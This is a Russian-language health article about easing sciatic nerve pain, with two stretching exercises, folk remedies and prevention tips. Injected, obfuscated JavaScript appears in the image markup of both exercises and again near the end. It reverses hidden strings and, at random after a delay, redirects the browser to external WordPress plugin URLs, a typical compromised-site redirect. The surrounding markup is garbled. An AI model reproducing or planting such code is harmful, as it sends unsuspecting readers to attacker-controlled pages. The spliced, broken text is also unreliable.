Всего 2 упражнения, и седалищный нерв вас больше не беспокоит

Как разблокировать седалищный нерв? Самый крупный нерв в нашем теле – седалищный, а его защемление сопровождается сильнейшей болью, временным частичным параличом. Некоторые советы, которые мы опишем в данной статье, помогут Вам быстро избавиться от боли, когда седалищный нерв защемился.

Почему воспаляется седалищный нерв?

Причин, когда нерв крестцового отдела (седалищный) может воспалиться, много.

Это может случиться при:

  • постоянной перегрузке позвоночника;
  • поднятии тяжестей;
  • сахарном диабете;
  • частом переохлаждении;
  • инфекционных заболеваниях (туберкулез, бруцеллез, опоясывающий герпес);
  • отравлении ядами, лекарствами, токсинами;
  • некоторых инфекционно-аллергических болезнях;
  • нарушении обмена веществ;
  • рассеянном склерозе;
  • алкоголизме.

Лечебная гимнастика для разблокировки нерва крестцового сплетения

Существует несколько способов, как расслабить седалищный нерв.

УПРАЖНЕНИЕ № 1

седалищный нерв$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toby-izbavitsya-ot-boli.html/attachment/2-188″ data-orig-file=»https://i1.wp.com/snianna.ru/wp-content/uploads/2017/08/2-9.jpg?fit=800%2C353&ssl=1″ data-orig-size=»800,353″ data-comments-opened=»0″ data-image-meta=»{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}» data-image-title=»2″ data-image-description=»» data-medium-file=»https://i1.wp.com/snianna.ru/wp-content/uploads/2017/08/2-9.jpg?fit=300%2C132&ssl=1″ data-large-file=»https://i1.wp.com/snianna.ru/wp-content/uploads/2017/08/2-9.jpg?fit=500%2C221&ssl=1″ data-recalc-dims=»1″ data-lazy-loaded=»1″ />

  1. Лечь на пол, согнуть в колене ногу.
  2. Держа ногу руками, постепенно прижимать ее к грудной клетке до тех пор, пока это будет получаться. Удерживать ногу в подобном положении не менее полминуты – насколько хватит сил.
  3. Медленно опустить ногу на пол.
  4. Повторять такое упражнение надо 2-5 раз, затем, то же самое проделать со второй ногой.

УПРАЖНЕНИЕ № 2

седалищный нерв$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toby-izbavitsya-ot-boli.html/attachment/3-97″ data-orig-file=»https://i1.wp.com/snianna.ru/wp-content/uploads/2017/08/3.jpg?fit=800%2C419&ssl=1″ data-orig-size=»800,419″ data-comments-opened=»0″ data-image-meta=»{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}» data-image-title=»3″ data-image-description=»» data-medium-file=»https://i1.wp.com/snianna.ru/wp-content/uploads/2017/08/3.jpg?fit=300%2C157&ssl=1″ data-large-file=»https://i1.wp.com/snianna.ru/wp-content/uploads/2017/08/3.jpg?fit=500%2C262&ssl=1″ data-recalc-dims=»1″ data-lazy-loaded=»1″ />

  1. Лечь на пол, согнуть в коленях ноги.
  2. Скрестить ноги, помогая руками, как можно сильней. Продержаться в такой позе не меньше 30 секунд. Если получится, дольше.
  3. Медленно вернуться в исходное положение. Проделать это еще несколько раз.

Оба способа отлично расслабят Ваш седалищный нерв, снимут болезненные ощущения в области поясницы, крестцового отдела.

Их можно выполнять как отдельно, так и вместе, комплексно.

Перечисленные упражнения одобрены врачами-ортопедами — они советуют их всем, кто столкнулся с проблемами крестцово-поясничного отдела.

Народные средства

Убирать болезненные ощущения в пояснице, крестце научились давно.

Вот некоторые средства народной медицины:

Конский каштан

Это растение, даже в составе косметических, лечебных кремов, расслабляет мышцы, снимает боль.

Баночный массаж

Для этого нужно смазать больное место согревающим кремом, противовоспалительно мазью, поставить банку, которую нужно по кругу по часовой стрелке двигать в течение 10-15 минут.

Повторять массаж рекомендовано через день до полного излечения.

Пчелиный воск

Пчелиный воск размягчить на водяной бане, смять в лепешку, наложить на источник боли, накрыть целлофаном, ватой, наложить бинт. Компресс нужно держать всю ночь.

Делать компрессы следует всю неделю каждый день.

Настойки

Настойкой можно протирать воспаленное место.

В небольшую банку (0,5 л) уложить одуванчики и еловые, сосновые почки либо хвою, залить водой, убрать в темное место на неделю.

Советы врачей-ортопедов

Предупредить заболевания нерва крестцового сплетения можно, если Вы будете более активными:

  • по утрам делать гимнастику;
  • больше ходить пешком;
  • регулярно выполнять упражнения лечебной гимнастики;
  • вести здоровый образ жизни.

Способов справиться с воспалением седалищного нерва немало – можно выполнять вышеперечисленные упражнения, использовать народную медицину.

Однако не следует забывать: с больным позвоночником, застуженными нервами шутить нельзя. Если Вы почувствовали боль в поясничном отделе, отдающую в ногу, и самостоятельно с ней справиться не можете, немедленно обратитесь к врачу – он назначит правильное лечение.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toby-izbavitsya-ot-boli.html?fbclid=IwAR1lOsWmjiKUcT_XXVoUS7hrO_Lk7Incoiau7ylIHMUT4520U2oZskQZUYk»>Источник

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector